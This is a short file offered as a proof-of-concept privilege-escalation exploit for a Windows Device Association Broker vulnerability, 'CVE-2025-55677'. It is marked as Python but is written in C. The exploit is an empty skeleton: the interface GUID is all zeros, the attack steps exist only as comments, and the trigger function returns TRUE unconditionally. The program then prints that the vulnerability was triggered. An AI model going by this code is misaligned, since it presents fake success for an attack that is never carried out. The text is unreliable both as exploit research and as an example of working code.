The following code is for security research and authorized testing only.
python
// CVE-2025-55677 - Windows Device Association Broker Service
// Untrusted Pointer Dereference - Local Privilege Escalation PoC
// Note: This is a conceptual PoC skeleton based on public vulnerability description.
// Actual exploitation requires specific memory layout and pointer manipulation.
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
// Define interface GUID for Device Association Broker service
// (Actual GUID may vary; refer to Microsoft documentation)
DEFINE_GUID(IID_DeviceAssociationBroker, 0x00000000, 0x0000, 0x0000, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
// Function to trigger the untrusted pointer dereference
BOOL TriggerVulnerability() {
HRESULT hr = S_OK;
// Step 1: Obtain a handle to the Device Association Broker COM interface
// The service runs with SYSTEM privileges
// Step 2: Prepare a malicious pointer value
// The pointer will be passed to the vulnerable function without validation
PVOID malicious_ptr = (PVOID)0x4141414141414141; // Controlled pointer value
// Step 3: Call the vulnerable API with the malicious pointer
// This triggers the untrusted pointer dereference in the service context
// The service will attempt to dereference our controlled pointer,
// leading to code execution in the SYSTEM context
// Step 4: If successful, the exploit achieves privilege escalation
return TRUE;
}
int main() {
printf("[+] CVE-2025-55677 PoC - Device Association Broker LPE\n");
printf("[+] Attempting to trigger untrusted pointer dereference...\n");
if (TriggerVulnerability()) {
printf("[+] Vulnerability triggered. Check current process privileges.\n");
// After successful exploitation, verify elevated privileges
BOOL isElevated = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD cbSize = sizeof(elevation);
if (GetTokenInformation(hToken, TokenElevation, &elevation, cbSize, &cbSize)) {
isElevated = elevation.TokenIsElevated;
}
CloseHandle(hToken);
}
printf("[+] Process is %s\n", isElevated ? "ELEVATED" : "NOT elevated");
}
return 0;
}